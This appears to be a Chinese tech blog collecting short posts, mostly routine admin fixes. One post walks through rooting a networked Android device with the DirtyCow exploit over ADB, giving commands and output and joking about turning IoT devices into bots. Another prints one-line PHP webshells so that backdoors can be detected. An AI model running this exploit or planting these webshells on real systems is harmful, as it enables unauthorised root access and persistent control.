使用 protobuf inspector 分析未知結構緩衝資料

前言

Protocol Buffers ( protobuf ) 是由 Google 所推出的一種序列化資料結構的協議,可以想成 XML 或者 JSON,而 protobuf 更為快速簡潔,在需要頻繁傳輸資料的場合(例如: Pokemon Go),可以使用 protobuf 來加快傳輸速率與降低封包尺寸。

由於 protobuf 將結構與資料分開處理,不像 XML 與 JSON 將結構與資料放在一起,因此在沒有結構描述資訊的狀況下是無法讀取資料的,這對於逆向工程來說是一個麻煩。

雖然軟體本身一定有結構描述檔,但這不代表我們一定要對描述檔進行逆向(這很累耶),由於 protobuf 的緩衝資料本身有一些儲存結構,因此可以通過分析儲存結構來找出資料本身的結構,接著再去猜測每一個欄位的用途,當然我們不用親自下去處理這個結構,Github 上有一個專案 protobuf-inspector,只要給它緩衝資料,它就會幫你把結構拆出來,之後只需要重建結構即可操作緩衝資料(然後開始寫外掛)

protobuf inspector 使用範例圖

使用方法

Clone 專案

git clone https://github.com/jmendeth/protobuf-inspector.git
cd protobuf-inspector

進行分析

./main.py < my-protobuf-blob

指令中的 my-protobuf-blob 是我們要分析的 protobuf 緩衝資料

分析結果

my-protobuf-blob 是一個合法的 protobuf 緩衝資料,就可以看到分析結果(如下圖)

protobuf inspector 分析結果說明

分析結果格式如下:

id <型別> = <內容>
  • id – 對應到 protobuf 內所定義的資料索引編號(為了兼容舊格式)
  • 型別 – 對應到 protobuf 內的型別類型 (chuck 可能對應到 string/message)

若型別為 chunk 內容又是 message: 開頭,代表這是一個內嵌資訊,像是 struct in struct

利用 DirtyCow(CVE-2016-5195) 攻擊 Android 裝置


髒牛 DirtyCow(CVE-2016-5195) 是一個威力十足的 Linux 提權弱點,雖然發布時間已有些時日,大多數主機也都修補了這個弱點,但還有一種類型的設備十分容易受到這個弱點的影響,那就是 Android 設備。

在 Android 手機上, DirtyCow 主要作為 root 手機的一種手段,然而 Android 不只用於手機,實際上也用於嵌入式裝置 (IoT/IP Cam 之類的),這些設備使用 Android 加速其開發與部屬能力,同時間也是較少上 Kernel Patch 的設備,只要找到了 ADB(Android Debug Bridge) 或 Command Injection 之類的弱點,整台設備端去當 Bot 不是夢 (x

DirtyCow 的 Payload 可以透過 NDK (Native Development Kit) 編譯,接著遞送到 Android 設備上。

這邊介紹一個 Git Project – CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android,這個專案是一個在 Android 上利用 DirtyCow 的概念驗證,使用步驟如下

1. 準備一個已經安裝 ADB 與 NDK 的 Linux 電腦

2. 下載專案

cd /tmp

git clone https://github.com/timwr/CVE-2016-5195.git

cd /tmp/CVE-2016-5195

3. ADB 連接裝置 (此處使用 10.10.10.10:5555 為例)

adb connect 10.10.10.10:5555
adb devices

若連接成功會顯示下列訊息

List of devices attached
10.10.10.10:5555    device

4. 編譯並利用弱點

make root

執行結果如下

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a APP_PLATFORM=android-22
make[1]: Entering directory '/keniver/tmp/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
make[1]: Leaving directory '/keniver/tmp/CVE-2016-5195'
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dcow
libs/arm64-v8a/dirtycow: 1 file pushed. 0.4 MB/s (14320 bytes in 0.031s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
libs/arm64-v8a/run-as: 1 file pushed. 0.6 MB/s (10224 bytes in 0.017s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0xa38
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10224) and destination file size (9768) differ

corruption?

[*] size 10224
[*] mmap 0x7faac2b000
[*] currently 0x7faac2b000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7faac2b000 10224
[*] madvise = 0 16777216
[*] /proc/self/mem 447381792 43758
[*] exploited 0 0x7faac2b000=10102464c457f

5. 提權成為 root

透過 adb shell 執行 id ,確認自己目前的帳號與群組

adb shell id

結果如下

uid=2000(shell) gid=2000(shell) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

執行下列指令進行提權

adb shell /system/bin/run-as

結果如下

WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x788
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x2
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
root@msm8952_64:/ # id
id
uid=0(root) gid=0(root) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

變成 root 啦~

障礙排除

1. error: no devices/emulators found

adb 沒有連接到任何裝置,可以通過 adb devices 檢查一下有無正常連線

2. make: ndk-build: No such file or directory

電腦尚未安裝 NDK 或者 沒有正確設定 NDK 到 PATH

關閉 Fortigate SIP ALG

在進行網路服務邊界測試的過程中, 時常掃出 5060, 2000 這兩個 Port, 但客戶均表示防火牆沒有開啟這兩個 Port, 也無法透過 Police 去進行阻擋, 經過調查後發現是 Gateway 自帶的 SIP ALG 所造成的.

什麼是 SIP ALG

SIP (Session Initiation Protocol) 是 VoIP 中一個非常重要的協議, 該協議於 1999 年由 IETF 提出, 由於當時並沒有將 NAT 納入設計, 因此在 NAT 環境下 SIP 難以正常運作, 然而現今網路環境中, 不論是電信業/企業還是家庭都十分依賴 NAT 技術, 為了使 SIP 在 NAT 環境下能夠正常運行, ALG (Application Layer Gateway) 就此誕生, ALG 是一個通過分析與修改 SIP 請求的應用服務, 使 SIP 能夠順利通過 NAT 環境與外界聯繫.

SIP ALG 與現代企業網路架構

現代企業為了提高網路安全性, 通常會架設一個 Gateway 來隔離外網與內網, 企業也從傳統總機逐漸轉往 VoIP, 為了順應潮流, 許多 Gateway 廠商內建了 SIP ALG, 甚至還幫你啟動了, 由於 SIP ALG 直接應用於 Gateway 本身, 從防火牆設定上很難看出端倪, 而 SIP ALG 本身又是一個主動服務, 因此進行 nmap 掃描時都會發現它的存在, 不知道的人會以為主機被入侵了呢!

關閉 SIP ALG 以 Fortigate 為例

由於我手邊只有 Fortigate 60E, 因此選擇 Fortigate 作為例子

在 Fortigate 上關閉 SIP ALG 的步驟如下
(請連上 Fortigate 的 Terminal, Web 介面並沒有相關設定可供調整)

1 移除 session helper

config system session-helper
show
###########################
# 這邊會顯示很多 helper
# 找到下方這個 helper (他的 id 可能不是 13)
#   edit 13
#   set name sip
#   set protocol 17
#   set port 5060
###########################

# 在我的主機上 helper 的 id 為 13, 後續指令以 13 為例
delete 13
end

2 調整 ALG 模組

config system settings
set default-voip-alg-mode kernel-helper-based
end

config voip profile
edit default
config sip
set status disable
end
end

3 重新啟動 Fortigate

PHP 7.0 下安裝 phpLDAPadmin 發生錯誤的修正方法

在稍具規模的網路環境中, 網管時常選用 LDAP 來進行帳號的統整管理, 一方面提供管理便利度, 另一方面使用者也不必因為不同系統而記憶不同帳號, phpLDAPadmin 是一套常見的 LDAP 管理介面, 但 phpLDAPadmin 已經很久沒有更新了, 若想要安裝在 PHP 5.6 以上, 甚至是最新版的 PHP 7 的環境中, 是無法順利安裝的, 因此我們需要做些修正.

Session 相關錯誤

打開 index.php 時出現下列錯誤:

  • Undefined variable: _SESSION in …. on line 379
  • Fatal error: Uncaught Error: Call to a member function getValue() on null in … on line 379

導致這個錯誤的主要原因是因為 phpLDAPadmin 需要使用 session, 在 PHP 中若要使用 session, 需要先執行 session_start() 這個函數, 但不知道為什麼 phpLDAPadmin 並沒有這麼做, 因此要解決這個問題, 一種方法是自己找正確的地方加上 session_start(), 另一種方法則是啟動 auto_start 這個特性, 這邊介紹如何啟動 auto_start 這個特性

編輯 php.ini 中的 session.auto_start

session.auto_start = 0

修改為

session.auto_start = 1

password_hash 相關錯誤

修正完 session 的問題後, 畫面上還有一個關於 password_hash 的錯誤

  • Fatal error: Cannot redeclare password_hash() in … on line 2236

造成這個錯誤的原因在於 php 5.5 以後內建了 password_hash 這個函數, 導致內建的 password_hash 與 phpLDAPadmin 自己的 password_hash 發生衝突, 因此只要將 phpLDAPadmin 的 password_hash 名稱替換成別的名稱就可以避開這個問題了

具體的解決辦法如下

對檔案打 patch

wget https://raw.githubusercontent.com/osixia/docker-phpLDAPadmin/stable/image/service/phpldapadmin/assets/php5.5.patch
patch -p1 -d ./phpldapadmin < php5.5.patch

修改 TemplateRender.php

sed -i "s/password_hash/password_hash_custom/g" ./phpldapadmin/lib/TemplateRender.php

Mac 的使用者會遇到 invalid command code W 這個錯誤, 具體原因與解決辦法請參考 MAC 下執行 sed 指令出現錯誤: invalid command code W

記得把指令中的 ./phpldapadmin 替換成 phpldapadmin 的實際位置

MAC 下執行 sed 指令出現錯誤: invalid command code W

sed 是 Linux/Mac 下非常好用的文件內容替換工具, sed -i "s/old/new/g" /path/to/file 可以讓我們輕鬆的將 /path/to/file 中的 old 都替換成 new, 但最近發現 sed 在 mac 與 Linux 上的行為有些許不同, 本來在 Linux 上能夠正常運作的指令在 MAC 上卻無法運作, sed 執行時出現錯誤 invalid command code W

MAC 上的 sed 手冊對於 -i 的描述:

-i extension
    Edit files in-place, saving backups with the specified extension.  If a zero-length extension is given, no backup will be saved.  It is not recommended to give a zero-
    length extension when in-place editing files, as you risk corruption or partial content in situations where disk space is exhausted, etc.

而 Linux 上的 sed 手冊對於 -i 的描述:

-i[SUFFIX], --in-place[=SUFFIX]
    edit files in place (makes backup if SUFFIX supplied)

根據手冊的中的描述, sed 在帶有 -i 參數時, 會針對處理的檔案進行備份, 而 -i 參數接受一個字串作為備份檔案的後綴( ex: test.php => test_ext.php ), 這個後綴在 Linux 下是可選, Mac 下是必要的, 雖然 Mac 下的 sed 可以給空字串來忽略這個選項, 但備份很重要, 備份一下啦!!

在知道差異後, 我們只要將後綴加上去就可以解決這個問題了!

Linux:
sed -i "s/old/new/g" /path/to/file

Mac:
sed -i "" "s/old/new/g" /path/to/file

基於 Echo Shorthand Tags 的 PHP Webshell

駭客在入侵網站後, 通常都會放入網頁後門程式(Webshell), 用以確保控制權不容易因為弱點被修復而消失.

下方是常見的簡短 Webshell (一句話木馬)

<?php system($_GET[0]);

最近發現了另一種簡短的 Webshell, 利用了 PHP shorthand tag, 寫法如下

<?=`ls`;

其效果等價於

<?php echo system('ls');

很多管理員認為預設不開啟 short tags 就可以避開這種後門, 但事實並非如此

在 php.ini 中掌管 short tag 的參數為

short_open_tag = Off

官方對於 short_open_tag 的說明中有提到 <?= 並不包含其中, 因此在做後門探測的時候, 記得也要針對這類型的後門進行檢查

偉哉PHP

Laravel 常見問題: Specified key was too long

Laravel 在 5.4 版之後為了支援 emoji , 因此將資料編碼改為 utf8mb4. 由於 utf8mb4 的儲存空間需求膨脹了4倍, 導致預設長度無法正常寫入資料庫.

這個問題會在 MySQL 5.7.6 以下與 MariaDB 的環境中出現以下錯誤

[PDOException]
SQLSTATE[42000]: Syntax error or access violation: 1071 Specified key was too long; max key length is 767 bytes

在 Migrate 過程中出現這個問題的解決方法有兩種

  1. 更新到 MySQL 5.7.7 以上版本
  2. 調整 Laravel 的預設資料長度

升級 MySQL 的方法就不細說了, 接下來主要說明調整 Laravel 預設值的方法

首先, 編輯專案目錄下的 app/Providers/AppServiceProvider.php

新增一個引用

use Illuminate\Support\Facades\Schema;

接著修改 boot function, 將預設長度定為 191

public function boot()
{
    Schema::defaultStringLength(191);
}

重新執行 php artisan migrate 就不會有問題了

最後附上完整的 AppServiceProvider.php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Schema;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        Schema::defaultStringLength(191);
    }

    /**
     * Register any application services.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}

Linux 設定修改時區

Linux 上時間分成兩個部分, Universal Time 與 Local Time, Universal Time 一直會維持為 UTC 時間, 而 Local Time 則是使用者所在的時區時間, 通常我們在安裝 Linux 的時候就會完成時區的設定, 但是在 Cloud 上預設都維持在 UTC +0 時區, 當我們機房跨足不同時區時可能會有同步的問題, 因此正確的設定時區是非常重要的.

檢查時區

當主機還沒有設定時區時, 輸入指令 date 系統返回的時間會是 UTC, 若主機已經有設定時區 UTC 會變成其他時區

$ date
Sat Jun 17 15:28:00 UTC 2017

設定時區

我們可以透過以下指令進行時區設定

sudo dpkg-reconfigure tzdata

系統會跳出視窗要求你選擇所在的地理區

接著選擇時區

當設定完成後, 系統會顯示目前的設定

Current default time zone: 'Asia/Taipei'
Local time is now:      Sat Jun 17 23:51:12 CST 2017.
Universal Time is now:  Sat Jun 17 15:51:12 UTC 2017.

指令 date 所顯示的時間變成帶有時區的時間了!

Sat Jun 17 23:51:55 CST 2017

這樣一來就完成時區的設定了, 若要修改時區只要把上面的步驟在做一次就可以了.

Electron – Cannot find module ‘app’

最近將舊版的 electron 升級到最新版, 結果所有程式都不能啟動了, 全部回傳 Error: Cannot find module 'app', 在翻閱新版手冊發找到了解決辦法

問題

升級到新版 Electron 出現 Error: Cannot find module 'app'

成因

Electron 新版將 app 模組整合到 electron 內

解決辦法

舊版手冊的範例寫法如下

var app = require('app');
var BrowserWindow = require('browser-window'); 

由於 app 被整合到 electron 內了, 因此只要改寫成下方的寫法就可以正常運作了

var electron = require('electron');
var app = electron.app;
var BrowserWindow = electron.BrowserWindow;

Electron – Uncaught ReferenceError: $ is not defined

最近因為需要將新的 Web App 封裝成應用程式, 團隊決定使用 Github Electron 進行封裝, 但封裝後的程式無法運作, 本來以為是 VUE 造成的, 直到在 Console 看到了 Uncaught ReferenceError: $ is not defined 才確定是 jQuery 造成的, 但說也奇怪, VUE 正常而 jQuery 卻沒辦法註冊, 粗略看起來應該不是 js 沒有載入的問題, 經過幾番研究後確定了問題成因, 這邊做一個小筆記紀錄一下.

問題

Electron 出現 Uncaught ReferenceError: $ is not defined 錯誤

成因

Electron 的 Render 使用了 Nodejs, 並且掛入 require 到全域變數, 導致 jQuery 註冊的 $ 被覆蓋了

解決辦法

jQuery 實際上是有正確被載入的, 因此我們只需要透過下面的方法重新註冊 $ 就可以了

try {$ = jQuery = module.exports;} catch(e) {}

如此一來, jQuery 重新綁定回 $, 系統就可以正常運作了